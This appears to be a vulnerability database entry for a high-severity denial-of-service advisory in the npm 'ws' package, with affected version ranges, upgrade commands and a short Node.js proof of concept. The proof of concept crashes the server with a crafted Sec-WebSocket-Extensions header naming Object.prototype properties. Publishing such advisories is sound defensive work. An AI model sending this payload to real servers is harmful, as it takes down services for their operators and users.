VDB
Sign up
HIGH7.5

GHSA-5v72-xg48-5rpm

Denial of Service in ws

Quick fix

GHSA-5v72-xg48-5rpm — ws: upgrade to the fixed version with the command below.

npm install ws@1.1.5

Details

Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.

## Proof of concept

``` const WebSocket = require('ws'); const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ```

## Recommendation

Update to version 3.3.1 or later.

Are you affected?

Enter the version of the package you're using.

Affected packages

npm/ws
Introduced in: 0.6.0Fixed in: 1.1.5
Fixnpm install ws@1.1.5
npm/ws
Introduced in: 2.0.0Fixed in: 3.3.1
Fixnpm install ws@3.3.1

References